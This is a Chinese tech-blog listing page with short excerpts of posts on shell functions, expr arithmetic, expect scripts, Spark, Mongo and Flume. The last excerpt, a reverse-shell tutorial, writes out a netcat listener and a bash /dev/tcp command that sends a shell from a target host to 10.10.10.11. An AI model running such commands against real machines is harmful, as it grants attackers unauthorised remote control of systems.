1 shell函数1.1 函数定义[ function ] funname [()]{ action; [return int;]}说明：（1）可以带function fun()定义，也可以直接fun()定义，不带任何参数（2）参数返回return，如果不加，将以最后一条命令运行结果作为返回值 de ...
分类：
系统相关 时间：
2020-06-28 00:14:59
阅读次数：
65
1、整数运算工具 原生bash不支持简单的数学运算，需要命令协助使用 1）expr命令 乘法操作应采用 \* 转义，避免被作为Shell通配符；参与运算的整数值与运算操作符之间需要以空格分开，引用变量时必须加$符号 X=1234 expr $X + 78 a=`expr 2 + 2` echo $a ...
分类：
系统相关 时间：
2020-06-28 00:05:55
阅读次数：
76
MongoSpark为入口类，调用MongoSpark.load，该方法返回一个MongoRDD类对象，Mongo Spark Connector框架本质上就是一个大号的自定义RDD，加了些自定义配置、适配几种分区器规则、Sql的数据封装等等，个人认为相对核心的也就是分区器的规则实现；弄清楚了其分析 ...
分类：
其他好文 时间：
2020-06-27 21:35:59
阅读次数：
66
shell expect spawn、linux expect 用法小记 看着舒服点 mezheng 2012-01-09 23:40:24 19138 收藏 1 分类专栏： shell 文章标签： shell linux 脚本 windows bash cmd 使用expect实现自动登录的脚本， ...
分类：
系统相关 时间：
2020-06-27 11:35:53
阅读次数：
62
转自https://www.cnblogs.com/ting152/p/12554480.html 1.组命令 组命令，就是将多个命令划分为一组，或者看成一个整体。 用法区别 Shell 组命令的写法有两种： { command1; command2;. . .; }(command1; comma ...
分类：
系统相关 时间：
2020-06-27 11:33:17
阅读次数：
67
一、简介 Apache Flume 是一个分布式，高可用的数据收集系统，可以从不同的数据源收集数据，经过聚合后发送到分布式计算框架或者存储系统中。Spark Straming 提供了以下两种方式用于 Flume 的整合。 二、推送式方法 在推送式方法 (Flume-style Push-based ...
分类：
Web程序 时间：
2020-06-27 00:19:37
阅读次数：
77
在生产环境中遇到了这种情况：spark程序需要处理输入是多个目录，输出也是多个目录。但是处理的逻辑都是相同的。使用方法经历多次修改，最终成功完成任务。其中涉及到spark多job提交和spark多个目录同时处理，在此记录一下。 程序中所有异常处理，建议都在函数里面处理好，不要直接写一些处理代码。这样 ...
分类：
数据库 时间：
2020-06-27 00:17:57
阅读次数：
80
一、案例引入 这里先引入一个基本的案例来演示流的创建：获取指定端口上的数据并进行词频统计。项目依赖和代码实现如下： <dependency> <groupId>org.apache.spark</groupId> <artifactId>spark-streaming_2.12</artifactI ...
分类：
其他好文 时间：
2020-06-27 00:14:44
阅读次数：
62
假设本机地址10.10.10.11，监听端口443。 1、Bash环境下反弹TCP协议shell 首先在本地监听TCP协议443端口 nc -lvp 443 然后在靶机上执行如下命令： bash -i >& /dev/tcp/10.10.10.11/443 0>&1 /bin/bash -i > / ...
分类：
系统相关 时间：
2020-06-26 23:49:20
阅读次数：
66
